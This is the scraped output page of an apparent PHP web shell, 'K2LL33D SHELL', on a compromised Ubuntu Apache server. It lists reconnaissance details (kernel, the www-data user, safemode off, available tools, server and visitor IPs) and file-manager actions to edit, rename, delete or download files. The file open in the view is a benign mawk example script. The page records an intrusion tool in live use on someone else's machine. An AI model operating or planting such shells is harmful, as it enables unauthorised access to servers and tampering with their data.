K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / usr / share / doc / mawk / examples / 		server ip : 172.67.156.115

your ip : 172.69.130.141

H O M E


Filename/usr/share/doc/mawk/examples/ct_length.awk
Size407
Permissionrwxr-xr-x
Ownerroot : root
Create time27-Apr-2025 09:50
Last modified24-Mar-2014 17:53
Last accessed07-Jul-2025 12:42
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
#!/usr/bin/mawk -f

# ct_length.awk
#
# replaces all length
# by length($0)
#


{

while ( i = index($0, "length") )
{
printf "%s" , substr($0,1, i+5) # ...length
$0 = substr($0,i+6)

if ( match($0, /^[ \t]*\(/) )
{
# its OK
printf "%s", substr($0, 1, RLENGTH)
$0 = substr($0, RLENGTH+1)
}
else # length alone
printf "($0)"

}
print
}